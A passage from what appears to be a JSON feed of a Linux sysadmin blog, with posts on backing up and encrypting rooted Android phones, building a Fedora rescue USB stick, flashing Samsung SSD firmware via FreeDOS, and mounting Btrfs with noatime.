easily extract the included XML preference files and\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/SQLite\">SQLite<\/a> database files on your computer.<\/p>\n<p>On a rooted device doing a backup is as simple as starting an\nsshd in a <a href=\"https:\/\/termux.com\/\">Termux<\/a> session, telling <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rsync\">rsync<\/a> to <code>su<\/code> and rsync some\ndirectories.<\/p>\n<p>Example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>rsync<span class=\"w\"> <\/span>-ai<span class=\"w\"> <\/span>--rsync-path<span class=\"o\">=<\/span>\/data\/data\/com.termux\/files\/home\/sursync<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span>phone.example.org:\/data\/data\/org.example.app<span class=\"w\"> <\/span>\/mnt\/backup\/phone\n<\/code><\/pre><\/div>\n\n<p>where the <code>sursync<\/code> helper script looks like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"ch\">#!\/data\/data\/com.termux\/files\/usr\/bin\/bash<\/span>\n<span class=\"nb\">exec<\/span><span class=\"w\"> <\/span>su<span class=\"w\"> <\/span>-c<span class=\"w\"> <\/span><span class=\"s2\">&quot;rsync <\/span><span class=\"nv\">$*<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>--<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>--\n<\/code><\/pre><\/div>\n\n<h2 id=\"separate-disk-encryption-password\">Separate Disk Encryption Password<a class=\"headerlink\" href=\"#separate-disk-encryption-password\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Android <a href=\"https:\/\/source.android.com\/security\/encryption\/full-disk\">supports disk encryption<\/a> since version 4.4\n(improved architecture since 5). Conceptually, the disk\nencryption works similarly to <a href=\"https:\/\/gitlab.com\/cryptsetup\/cryptsetup\">luks-cryptsetup<\/a>\n(i.e. the user password just encrypts the real key - one\nthat this randomly generated - and can be easily changed with\nhaving to re-encrypt everything). But Android being Android, a\nnew format and new tools were developed.<\/p>\n<p>By default, Android uses the same password for disk encryption as\nfor the lock screen and there is no GUI for changing them\nindependently. As-is, this is unfortunate - because you\nnaturally want to use a strong password for disk encryption and a\nweaker (think: shorter) one for the lock screen.<\/p>\n<p>Thus, using a strong password for both is impractical due to the\nnumber of unlock operations during the day and using a weak\npassword for both enables trivial brute-forcing (e.g. when\nsomebody steals your phone).<\/p>\n<p>One some Android devices the situation is improved with\nadditional hardware. There, the user password <a href=\"https:\/\/source.android.com\/security\/encryption\/full-disk#storing_the_encrypted_key\">is signed with a\nprivate key<\/a> that presumably can't leave a <a href=\"https:\/\/lwn.net\/Articles\/717125\/\">trusted\nhardware environment (a.k.a. TEE, TrustZone)<\/a>. The\nsignature then is used to encrypt the real disk encryption key.\nThis helps against brute forcing if and only if the\ntrusted environment really is secure, implements some kind of\nrate limiting and\/or automatic lock-down in case of to many\nauthentication failures.<\/p>\n<p>In any case, with root permissions it is easily possible to\nindependently set a filesystem encryption password.<\/p>\n<p>With that it is sufficient that just the lock-screen implements\nsome effective rate-limiting which could even escalate to\nunmounting the encrypted filesystem - e.g.  via a shutdown. And\nat that point the attacker has to deal with the stronger disk\nencryption password.<\/p>\n<p>Example:<\/p>\n<p>Change the disk encryption password on Lineage 14.1:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>adb<span class=\"w\"> <\/span>shell\n<span class=\"gp\">$ <\/span>su\n<span class=\"gp\"># <\/span>vdc<span class=\"w\"> <\/span>cryptfs<span class=\"w\"> <\/span>verifypw<span class=\"w\"> <\/span><span class=\"nv\">$currentpw<\/span>\n<span class=\"gp\"># <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>returns<span class=\"w\"> <\/span>a<span class=\"w\"> <\/span><span class=\"m\">3<\/span>-tuple,<span class=\"w\"> <\/span>last<span class=\"w\"> <\/span>component<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>-&gt;<span class=\"w\"> <\/span>success,<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>-&gt;<span class=\"w\"> <\/span>failure\n<span class=\"gp\"># <\/span>vdc<span class=\"w\"> <\/span>cryptfs<span class=\"w\"> <\/span>changepw<span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nv\">$oldpw<\/span><span class=\"w\"> <\/span><span class=\"nv\">$newpw<\/span>\n<span class=\"gp\"># <\/span>vdc<span class=\"w\"> <\/span>cryptfs<span class=\"w\"> <\/span>verifypw<span class=\"w\"> <\/span><span class=\"nv\">$newpw<\/span>\n<\/code><\/pre><\/div>\n\n<p>The vdc syntax <a href=\"https:\/\/github.com\/nelenkov\/cryptfs-password-manager\/\">varies between different Android versions<\/a>.<\/p>\n<h2 id=\"side-note-rooting-vs-unlocking-vs-flashing\">Side Note: Rooting vs. Unlocking vs. Flashing<a class=\"headerlink\" href=\"#side-note-rooting-vs-unlocking-vs-flashing\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Perhaps not all of this isn't directly obvious:<\/p>\n<ul>\n<li>Unlocking the bootloader doesn't automatically root your phone.<\/li>\n<li>After unlocking the bootloader and flashing an alternative\n  recovery image like <a href=\"https:\/\/en.wikipedia.org\/wiki\/TWRP\">TWRP<\/a>, booting into the recovery image\n  allows you to connect via <code>adb shell<\/code> and that session then has\n  root permissions.<\/li>\n<li>The device isn't rooted by default after flashing an alternate\n  system image like <a href=\"https:\/\/lineageos.org\/\">Lineageos<\/a>.  With stock Lineageos the device\n  is still unrooted. Lineageos provides a <a href=\"https:\/\/download.lineageos.org\/extras\">su addon<\/a>.<\/li>\n<li>The sandboxing of apps using Linux mechanisms like SELinux is\n  still active after the device is rooted.<\/li>\n<li>Rooting results in the availability of a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Su_(Unix)\"><code>su<\/code> command<\/a>.<\/li>\n<li>After rooting, the <code>su<\/code> command can directly be executed from an\n  <code>adb shell<\/code> session.<\/li>\n<li>The Lineageos su addon installs <code>su<\/code> such that it is integrated\n  into the permission system. That means that an app trying\n  to get root (via su) needs the root-permission. With <a href=\"https:\/\/lineageos.org\/\">Lineageos'\n  Privacy Guard<\/a> the default for this permission is always-ask.<\/li>\n<\/ul>","category":[{"@attributes":{"term":"android"}},{"@attributes":{"term":"root"}}]},{"title":"Fedora as Grml replacement","link":{"@attributes":{"href":"https:\/\/gms.tf\/fedora-as-grml-replacement.html","rel":"alternate"}},"published":"2017-03-12T21:00:00+01:00","updated":"2017-03-12T21:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-03-12:\/fedora-as-grml-replacement.html","summary":"<p><a href=\"https:\/\/grml.org\/\">Grml<\/a> is a Linux Live CD distribution geared towards system\nadministration tasks and other console work. Unfortunately, its\ndevelopment has slowed down in the past years, i.e. the latest\nstable release is from 2014. In 2017, when dealing with modern\nhardware, modern features like Btrfs, SELinux etc. this is \u2026<\/p>","content":"<p><a href=\"https:\/\/grml.org\/\">Grml<\/a> is a Linux Live CD distribution geared towards system\nadministration tasks and other console work. Unfortunately, its\ndevelopment has slowed down in the past years, i.e. the latest\nstable release is from 2014. In 2017, when dealing with modern\nhardware, modern features like Btrfs, SELinux etc. this is a deal\nbreaker. It turns out that <a href=\"https:\/\/en.wikipedia.org\/wiki\/Fedora_(operating_system)\">Fedora<\/a>, when installed on a USB mass\nstorage device, is a good substitute for traditional Linux Live\nCDs like Grml.<\/p>\n<h2 id=\"how-it-works\">How it works<a class=\"headerlink\" href=\"#how-it-works\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A very fast and convenient method to install Fedora on a USB\nstick is to use <a href=\"http:\/\/libguestfs.org\/virt-builder.1.html\"><code>virt-builder<\/code><\/a>, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>virt-builder<span class=\"w\"> <\/span>fedora-25<span class=\"w\"> <\/span>--hostname<span class=\"w\"> <\/span>rescue.example.org<span class=\"w\">  <\/span><span class=\"se\">\\<\/span>\n--ssh-inject<span class=\"w\"> <\/span>root:file:<span class=\"s2\">&quot;<\/span><span class=\"nv\">$pubkey<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>--root-password<span class=\"w\"> <\/span>file:<span class=\"s2\">&quot;<\/span><span class=\"nv\">$pwfile<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n--update<span class=\"w\"> <\/span>--install<span class=\"w\"> <\/span><span class=\"k\">$(<\/span>paste<span class=\"w\"> <\/span>-d,<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>package.list<span class=\"k\">)<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n--run<span class=\"w\"> <\/span>guest-setup.sh<span class=\"w\"> <\/span>--selinux-relabel<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n-o<span class=\"w\"> <\/span>\/dev\/sdz\n<\/code><\/pre><\/div>\n\n<p>The <a href=\"http:\/\/libguestfs.org\/virt-builder.1.html\"><code>virt-builder<\/code> command<\/a> is probably mostly used for fast\ngeneration of virtual machine images but it works as well for\nbare-metal installations. It is so fast because it starts from\nfilesystem-templates.<\/p>\n<p>In the above example, the shell script <code>guest-setup.sh<\/code> applies\nsome defaults and other post-installation customizations in the\ntarget system.<\/p>\n<p>The result can be easily tested with <a href=\"http:\/\/wiki.qemu-project.org\/Features\/KVM\">QEMU\/KVM<\/a>, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>qemu-system-x86_64<span class=\"w\"> <\/span>-enable-kvm<span class=\"w\"> <\/span>-drive<span class=\"w\"> <\/span><span class=\"nv\">file<\/span><span class=\"o\">=<\/span>\/dev\/sdz,if<span class=\"o\">=<\/span>virtio,format<span class=\"o\">=<\/span>raw<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span>-m<span class=\"w\"> <\/span><span class=\"m\">2048<\/span><span class=\"w\"> <\/span>-netdev<span class=\"w\"> <\/span>bridge,id<span class=\"o\">=<\/span>nd0,name<span class=\"o\">=<\/span>tap0,br<span class=\"o\">=<\/span>virbr0<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span>-device<span class=\"w\"> <\/span>e1000,netdev<span class=\"o\">=<\/span>nd0,id<span class=\"o\">=<\/span>d0<span class=\"w\">  <\/span>-display<span class=\"w\"> <\/span>curses\n<\/code><\/pre><\/div>\n\n<h2 id=\"the-code\">The Code<a class=\"headerlink\" href=\"#the-code\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>I've <a href=\"https:\/\/github.com\/gsauthof\/playbook\/tree\/master\/fedora\/rescue-stick\">published some scripts to generate such a Fedora based USB\nstick in a Git repository<\/a>. The repository also contains some\nmore details in a README including a detailed comparison with\nGrml.<\/p>\n<h2 id=\"addendum\">Addendum<a class=\"headerlink\" href=\"#addendum\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Also, nowadays, the traditional Linux Live CD approach is a\nlittle bit outdated. Many systems don't even have a CDROM drive\nanymore for good reason. Sophisticated distributions like Grml\nare hybrid, i.e. they can also be booted from a USB stick, but\nthey don't make use of the extra space or the fact that the stick\nis writable, by default. Grml even supports customizations like\nadding a writable filesystem but such changes are kind of\ntedious.<\/p>\n<p>Grml doesn't just come with good defaults (e.g. zsh login shell),\nthe team also has a talent choosing great release names (e.g.\n<a href=\"https:\/\/grml.org\/changelogs\/README-grml-2011.12\/\">Knecht Rootrecht<\/a>).<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"rescue"}},{"@attributes":{"term":"playbook"}},{"@attributes":{"term":"virt-builder"}}]},{"title":"Updating Samsung SSD Firmware in the 21st Century","link":{"@attributes":{"href":"https:\/\/gms.tf\/updating-samsung-ssd-firmware-in-the-21st-century.html","rel":"alternate"}},"published":"2017-02-17T21:10:00+01:00","updated":"2017-02-17T21:10:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-02-17:\/updating-samsung-ssd-firmware-in-the-21st-century.html","summary":"<p>The firmware updates for the Samsung 840 EVO SSDs come as ISO\nimages which isn't very helpful if your system doesn't have a\nCDROM drive. It turns out that the ISO images just contain DOS\nbinaries, though. This article describes how to use a FreeDOS USB\nstick for flashing, instead \u2026<\/p>","content":"<p>The firmware updates for the Samsung 840 EVO SSDs come as ISO\nimages which isn't very helpful if your system doesn't have a\nCDROM drive. It turns out that the ISO images just contain DOS\nbinaries, though. This article describes how to use a FreeDOS USB\nstick for flashing, instead.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#background\">Background<\/a><\/li>\n<li><a href=\"#before-we-start\">Before we start<\/a><\/li>\n<li><a href=\"#firmware\">Firmware<\/a><\/li>\n<li><a href=\"#create-usb-stick\">Create USB Stick<\/a><\/li>\n<li><a href=\"#booting\">Booting<\/a><\/li>\n<li><a href=\"#flashing\">Flashing<\/a><\/li>\n<li><a href=\"#see-also\">See also<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The Samsung SSD 840 EVO drives, <a href=\"https:\/\/bugs.launchpad.net\/ubuntu\/+source\/fstrim\/+bug\/1449005\/comments\/52\">like other Samsung SSDs<\/a>, are\n<a href=\"http:\/\/www.anandtech.com\/show\/8997\/samsung-releases-statement-on-840-evo-performance-another-fix-is-in-the-works\">infamous for their broken design and firmware bugs<\/a>. The most\nnotable symptom being the one where read speed deteriorates with\nthe age of the written data. Samsung attempted to fix this\nvia firmware updates two times, i.e. they pushed several firmware\nupdates that try to work around limitations in the used SSD\ncomponents.<\/p>\n<h2 id=\"before-we-start\">Before we start<a class=\"headerlink\" href=\"#before-we-start\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As of 2017-01 the most <a href=\"https:\/\/www.samsung.com\/semiconductor\/minisite\/ssd\/download\/tools.html\">current Samsung 840 EVO versions<\/a> are:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Model<\/th>\n<th>Firmware Version<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>840 EVO 2.5\"<\/td>\n<td>EXT0DB6Q<\/td>\n<\/tr>\n<tr>\n<td>840 EVO mSATA<\/td>\n<td>EXT43B6Q<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Apparently those files were released mid 2015.<\/p>\n<p>Under Linux, the version of the currently flashed firmware can be\ndisplayed with <code>hdparm<\/code>, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>i<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>a<span class=\"w\"> <\/span>b<span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>hdparm<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>\/dev\/sd<span class=\"nv\">$i<\/span><span class=\"w\">  <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>Model<span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span>\n<span class=\"nv\">Model<\/span><span class=\"o\">=<\/span>Samsung<span class=\"w\"> <\/span>SSD<span class=\"w\"> <\/span><span class=\"m\">840<\/span><span class=\"w\"> <\/span>EVO<span class=\"w\"> <\/span>250GB,<span class=\"w\"> <\/span><span class=\"nv\">FwRev<\/span><span class=\"o\">=<\/span>EXT0CB6Q,<span class=\"w\"> <\/span><span class=\"nv\">SerialNo<\/span><span class=\"o\">=<\/span>S1ABC1234567890\n<span class=\"nv\">Model<\/span><span class=\"o\">=<\/span>Samsung<span class=\"w\"> <\/span>SSD<span class=\"w\"> <\/span><span class=\"m\">840<\/span><span class=\"w\"> <\/span>EVO<span class=\"w\"> <\/span>250GB<span class=\"w\"> <\/span>mSATA,<span class=\"w\"> <\/span><span class=\"nv\">FwRev<\/span><span class=\"o\">=<\/span>EXT42B6Q,<span class=\"w\"> <\/span><span class=\"nv\">SerialNo<\/span><span class=\"o\">=<\/span>S1ABC1234567890\n<\/code><\/pre><\/div>\n\n<h2 id=\"firmware\">Firmware<a class=\"headerlink\" href=\"#firmware\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since Samsung can't be bothered to publish some checksums for the\nfirmware updates in 2017, here are some SHA-256 ones:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>b11658abe3194c933db22bd6734f932e3275679a247f3566ee70518e24acff2e  Samsung_SSD_840_EVO_EXT0DB6Q.iso\n0bc484643f54880a141c680bace16333040600e720908608da548aaf2bd9a656  Samsung_SSD_840_EVO_mSATA_EXT43B6Q_Win_Mac.iso\n<\/code><\/pre><\/div>\n\n<p>At least, the files are also <a href=\"https:\/\/www.samsung.com\/semiconductor\/minisite\/ssd\/download\/tools.html\">available via https<\/a>.<\/p>\n<p>Samsung continues to shine via failing to provide any changelog\nor instructions with the firmware download.<\/p>\n<h2 id=\"create-usb-stick\">Create USB Stick<a class=\"headerlink\" href=\"#create-usb-stick\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A natural method to inspect an ISO image under Linux is to\nloopback-mount it. But for our use case it is perhaps even\nsimpler to just extract each image with <a href=\"http:\/\/p7zip.sourceforge.net\/\"><code>7z<\/code> (if available)<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>mkdir<span class=\"w\"> <\/span>ext0db6q<span class=\"w\"> <\/span>ext43b6q\n$<span class=\"w\"> <\/span><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>ext0d6q\n$<span class=\"w\"> <\/span>7z<span class=\"w\"> <\/span>l<span class=\"w\"> <\/span>..\/Samsung_SSD_840_EVO_EXT0DB6Q.iso\n$<span class=\"w\"> <\/span>7z<span class=\"w\"> <\/span>x<span class=\"w\"> <\/span>..\/Samsung_SSD_840_EVO_EXT0DB6Q.iso\n$<span class=\"w\"> <\/span><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>..\/ext43b6q\n$<span class=\"w\"> <\/span>7z<span class=\"w\"> <\/span>x<span class=\"w\"> <\/span>..\/Samsung_SSD_840_EVO_mSATA_EXT43B6Q_Win_Mac.iso\n<\/code><\/pre><\/div>\n\n<p>Both extracts look similar, they show how the <a href=\"http:\/\/www.syslinux.org\/wiki\/index.php?title=ISOLINUX\">ISOLINUX boot\nloader<\/a> is used. The interesting bit is the <code>ISOLINUX\/BTDSK.IMG<\/code>\nfile with contains the actual payload - i.e. a FAT image.<\/p>\n<p>Again, this image can be loopback-mounted but using the <a href=\"https:\/\/www.gnu.org\/software\/mtools\/\">Mtools<\/a>\nuser space utilites is sufficient, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>ext0d6q\/ISOLINUX\n$<span class=\"w\"> <\/span>mdir<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>BTDSK.IMG\n$<span class=\"w\"> <\/span>mkdir<span class=\"w\"> <\/span>t\n$<span class=\"w\"> <\/span>mcopy<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>BTDSK.IMG<span class=\"w\"> <\/span>::autoexec.bat<span class=\"w\"> <\/span>t\n$<span class=\"w\"> <\/span>mcopy<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>BTDSK.IMG<span class=\"w\"> <\/span>::license.txt<span class=\"w\"> <\/span>t\n$<span class=\"w\"> <\/span>mcopy<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>BTDSK.IMG<span class=\"w\"> <\/span>::samsung<span class=\"w\"> <\/span>t\n<\/code><\/pre><\/div>\n\n<p><a href=\"https:\/\/gms.tf\/updating-the-bios-on-a-dell-latitude-e7270.html#dos-boot\">Creating a FreeDOS USB stick can be unnecessarily tricky<\/a>, but\nwhen it is ready transferring the firmware is simple as:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>cp<span class=\"w\"> <\/span>ext0db6q\/ISOLINUX\/t<span class=\"w\"> <\/span>\/run\/media\/juser\/FREEDOS\/samsung\/ext0db6q<span class=\"w\"> <\/span>-r\n$<span class=\"w\"> <\/span>cp<span class=\"w\"> <\/span>ext43b6q\/ISOLINUX\/t<span class=\"w\"> <\/span>\/run\/media\/juser\/FREEDOS\/samsung\/ext43b6q<span class=\"w\"> <\/span>-r\n$<span class=\"w\"> <\/span>umount<span class=\"w\"> <\/span>\/run\/media\/juser\/FREEDOS\n<\/code><\/pre><\/div>\n\n<h2 id=\"booting\">Booting<a class=\"headerlink\" href=\"#booting\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Booting from the FreeDOS stick requires some BIOS support which\nshould be quite common nowadays. Ideally, one doesn't have to\nchange the boot order inside the BIOS configuration but can use a\nboot menu instead. For example, on a Thinkpad x220 the temporary\nboot device menu is invoked after power-on via pressing the\n'ThinkVantage' button and then F12.  Other popular shortcuts for\nthis menu are just F12, F7 (Intel) or even ESC.<\/p>\n<h2 id=\"flashing\">Flashing<a class=\"headerlink\" href=\"#flashing\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Arrived at the DOS prompt one has just to execute the autoexec.bat, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>cd samsung\/ext0db6q\nautoexec.bat\n<\/code><\/pre><\/div>\n\n<h2 id=\"see-also\">See also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li><a href=\"https:\/\/blog.kylemanna.com\/hardware\/samsung-840-evo-ssd-linux-firwmare-update\/\">Kyle's article<\/a> that describes an alternative approach for\nbooting the Samsung image (i.e. loading the <code>BTDSK.IMG<\/code> file via the\nSyslinux <a href=\"http:\/\/www.syslinux.org\/wiki\/index.php?title=MEMDISK\">memdisk loader<\/a> via grub2). He also mentions queued trim issues\nwith the new firmware and in a <a href=\"https:\/\/blog.kylemanna.com\/hardware\/samsung-840-evo-trim-support-blacklisted-after-firmware-upgrade\/\">followup<\/a> he links how Linux kernel\n4.0.5 and later fix this via blacklisting queued TRIM in all\nSamsung 800-series drives.<\/li>\n<li>German article about Samsung's first attempt at a fix (incl. slow restoration): <a href=\"https:\/\/m.heise.de\/newsticker\/meldung\/Firmware-Update-fuer-Samsung-SSD-840-Evo-verfuegbar-2424150.html\">Firmware-Update f\u00fcr Samsung-SSD 840 Evo verf\u00fcgbar<\/a>, heise.de, 2014-10-15<\/li>\n<li>German article about Samsung's last attempt: <a href=\"https:\/\/m.heise.de\/newsticker\/meldung\/Samsungs-neue-840-Evo-Firmware-nun-frei-verfuegbar-2628990.html\">Samsungs neue 840-Evo-Firmware nun frei verf\u00fcgbar<\/a>, heise.de, 2015-04-29<\/li>\n<\/ul>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"samsung"}},{"@attributes":{"term":"ssd"}},{"@attributes":{"term":"firmware"}}]},{"title":"Btrfs requires noatime","link":{"@attributes":{"href":"https:\/\/gms.tf\/btrfs-requires-noatime.html","rel":"alternate"}},"published":"2017-02-08T21:10:00+01:00","updated":"2017-02-08T21:10:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-02-08:\/btrfs-requires-noatime.html","summary":"<p>Traditionally, UNIX filesystems also maintain the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Stat_(system_call)\">access time\n(atime)<\/a> of a file. This is very much an anti-feature because it\nyields a write operation for each read operation. Which is\nobviously bad for performance. Since <a href=\"https:\/\/en.wikipedia.org\/wiki\/Btrfs\">Btrfs<\/a> is a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Copy-on-write\">copy-on-write\n(COW)<\/a> filesystem maintaining atimes is even more painful. Thus, a\nsensible \u2026<\/p>","content":"<p>Traditionally, UNIX filesystems also maintain the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Stat_(system_call)\">access time\n(atime)<\/a> of a file. This is very much an anti-feature because it\nyields a write operation for each read operation. Which is\nobviously bad for performance. Since <a href=\"https:\/\/en.wikipedia.org\/wiki\/Btrfs\">Btrfs<\/a> is a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Copy-on-write\">copy-on-write\n(COW)<\/a> filesystem maintaining atimes is even more painful. Thus, a\nsensible recommendation is to make sure that every filesystem is\nmounted with the <code>noatime<\/code> option.  Especially, if it is a Btrfs\nfilesystem.<\/p>\n<h2 id=\"btrfs-case-study\">Btrfs Case Study<a class=\"headerlink\" href=\"#btrfs-case-study\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A typical example of how writing the atime can significantly\naffect performance.<\/p>\n<p>The symptoms: an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rsync\">rsync<\/a> job from a Btrfs filesystem\n(located on an SSD) to an external USB 3 disk drive with XFS runs\nwith ~ 17 MiB\/s while <code>iotop<\/code> and <code>dstat<\/code> show significantly\nhigher IO values for the source device, e.g. ~ 60 MiB\/s.<\/p>\n<p>Reasons: This Btrfs filesystem is mounted with default options,\nthat means that instead of <code>noatime<\/code> the <code>relatime<\/code> is active,\nresulting in atime updates for effectively each file.<\/p>\n<p>In addition to that, the filesystem contains some snapshots, i.e.\nfor all subvolumes there is also one or more snapshots. Creating\na filesystem snapshot is very cheap on <a href=\"https:\/\/en.wikipedia.org\/wiki\/Btrfs\">Btrfs<\/a> because of\nits <a href=\"https:\/\/en.wikipedia.org\/wiki\/Copy-on-write\">COW<\/a> design. An atime update of a snapshotted file only\nupdates the atime of one copy. Thus, in the likely case that the\nfilesystem sector with the atime is still shared it has to be\ncopied on that atime write. Meaning 2 or more write operations as\na result of one read.<\/p>\n<p>Resolution: After canceling the rsync command,\nremounting the Btrfs filesystem with <code>noatime<\/code> and restarting\nthe rsync job it sure enough performs much better, i.e.\nthe numbers reported by rsync match the dstat ones, as expected.<\/p>\n<p>Note that the number of files included in a snapshot is\nmost relevant for this issue, not necessarily the number of\nsnapshots.<\/p>\n<p>If you are really unlucky, running a backup job (or even just a\ngrep) on a Btrfs filesystem mounted without noatime might even\nyield out-of-space errors in case all the copy-on-write atime\nupdates exceed the available free space.<\/p>\n<h2 id=\"relatime\">Relatime<a class=\"headerlink\" href=\"#relatime\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since 2009 or so Linux kernels by default mount filesystems with\nthe <code>relatime<\/code> option. With this options, the atime is updated\nsomewhat less frequently. That means under the presence of reads,\nit is updated at least once a day:<\/p>\n<blockquote>\n<div class=\"m-code\"><pre><span><\/span><code>relatime\n   Update  inode access times relative to modify or change\n   time.  Access time is only updated if the previous\n   access time was earlier than the current modify or\n   change time.  (Similar to noatime, but it doesn&#39;t break\n   mutt or other applications that need to know  if  a\n   file has been read since the last time it was modified.)\n\n   Since  Linux  2.6.30,  the  kernel defaults to the\n   behavior provided by this option (unless noatime was\n   specified), and the strictatime option is required to\n   obtain traditional semantics.  In addition, since Linux\n   2.6.30, the file&#39;s last access time is always updated\n   if it is more than 1 day old.\n<\/code><\/pre><\/div>\n\n<\/blockquote>\n<p>(<a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=mount&amp;apropos=0&amp;sektion=8&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">mount(8)<\/a>)<\/p>\n<p>Thus, <code>relatime<\/code> doesn't help much with the principal cause for\nthe described performance issue. You still likely get massive\natime update induced writes during bulk read-only activity like\nbackup or search jobs. You only have to experience a timespan\ngreater than 24h were most files aren't read. A pretty standard\nscenario.<\/p>\n<p>Unfortunately, switching the system default from <code>relatime<\/code> to <code>noatime<\/code> isn't\npossible (as of 2017-02). Thus, one has to remember to always specify\n<code>noatime<\/code>. Think <code>mount -o noatime ...<\/code> and add it to each <code>\/etc\/fstab<\/code>\nentry.<\/p>\n<h2 id=\"testing\">Testing<a class=\"headerlink\" href=\"#testing\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Testing the effect of atime uptime in the presence of snapshots\nis easier when the Btrfs filesystem is mounted with\n<code>strictatime<\/code>. This overrides the <code>relatime<\/code> default option.\nThe time attributes of a file or directory can be displayed with\n<code>ls<\/code> but the GNU utility <code>stat<\/code> is more convenient for printing\nall timestamps.<\/p>\n<h2 id=\"ps\">P.S.<a class=\"headerlink\" href=\"#ps\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>There are use-cases for an actively maintained file atime.\nExamples are measuring the usage of installed binaries (cf.\nDebian's popcontest) or detecting unread mails. But there are\nbetter alternatives to implement such tasks and thus those aren't\nvery convincing arguments for enabling atime writing, by default\n(be it relative or even strict). In conclusion, writing the\naccess time means much pain with little gain.<\/p>\n<h2 id=\"see-also\">See also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li><a href=\"https:\/\/lwn.net\/Articles\/499293\/\">Atime and btrfs: a bad combination?<\/a> - this is also an\n  counter-example to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Betteridge's_law_of_headlines\">Betteridge's law of headlines<\/a><\/li>\n<\/ul>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"btrfs"}}]},{"title":"Updating the BIOS on a Dell Latitude 